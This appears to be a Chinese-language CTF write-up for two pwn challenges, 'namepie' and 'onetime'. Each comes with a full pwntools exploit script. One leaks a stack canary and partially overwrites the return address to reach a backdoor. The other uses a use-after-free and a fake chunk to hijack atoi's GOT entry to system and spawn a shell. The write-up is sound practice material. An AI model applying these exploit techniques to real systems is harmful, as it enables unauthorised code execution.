namepie
保护全开
调试发现后门函数只有后三位和vul函数不一样,而且由于按页加载,后三位固定不变,直接爆破倒数第四位,1/16的概率爆破就完了
from pwn import *
local = 1
binary = "./namepie"
# libc_path = ''
port = ""
while True:
try:
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
offset = 0x30 - 0x8
dbg()
p.recvuntil('Input your Name:')
payload = ( offset + 0x1 ) * 'a'
p.send(payload)
p.recvuntil(offset * 'a')
canary = u64(p.recv(8)) - 0x61
print "[*] canary:",hex(canary)
# a6a -> a75
payload = offset * 'a' + p64(canary) + 8 * 'a' + 'x75x1a'
p.send(payload)
# gdb.attach(p)
p.interactive()
break
except Exception as e:
print(e)
p.close()
continue
onetime
这个题有意思了
逆一下发现基本上所有的功能都只能用一次
delete中有一个UAF漏洞
一开始的思路是unlink,但是发现利用不了,因为所有的功能基本上只能用一次
然后考虑了一会儿,本质是UAF,在bss段的stdout上发现可以利用字节错位构造fake chunk
先free掉一个堆块,然后edit伪造一个fake fd pointer链到fake chunk
申请两次,这里分别用功能1和功能5申请(free后1功能会清0),利用5的可写功能,在fake chunk覆写几个标志位,从而获取再利用一次的能力
然后覆盖heap pointer为atoi的got表,利用show leak libc基址,然后利用edit功能改atoi为system地址
可以看到已经成功修改为system地址
输入sh即可getshell
exp:
from pwn import *
local = 1
binary = "./onetime"
libc_path = './libc-2.23.so'
# ip = '172.20.14.113'
# port = '10001'
# p = remote(ip,port)
if local == 1:
p = process(binary)
else:
p = remote("node3.buuoj.cn",port)
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
def add():
p.sendlineafter('your choice >>','1')
def edit(content):
p.sendlineafter('your choice >>','2')
p.sendafter('fill content:',content)
def show():
p.sendlineafter('your choice >>','3')
def free():
p.sendlineafter('your choice >>','4')
def vul(payload):
p.sendlineafter('your choice >>','5')
p.sendafter('Hero! Leave your name:',payload)
def leak_libc(addr):
global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
libc = ELF(libc_path)
libc_base = addr - libc.sym['atoi']
print "[*] libc base:",hex(libc_base)
__malloc_hook = libc_base + libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
__free_hook = libc_base + libc.sym['__free_hook']
_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
elf = ELF(binary)
buf = 0x6020A8
# fd = buf - 0x18
# bk = buf - 0x10
# puts_got = 0x602020
atoi_got = elf.got['atoi']
fake_chunk = 0x60208d
add() #0
free()
edit(p64(fake_chunk))
add()
payload = 3 * 'x00' + 'aaaaaaaa' + p64(atoi_got) + 'aaaaaaaa' * 4
vul(payload)
show()
atoi = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
leak_libc(atoi)
payload = p64(system)
edit(payload)
p.sendline('sh')
#gdb.attach(p)
p.interactive()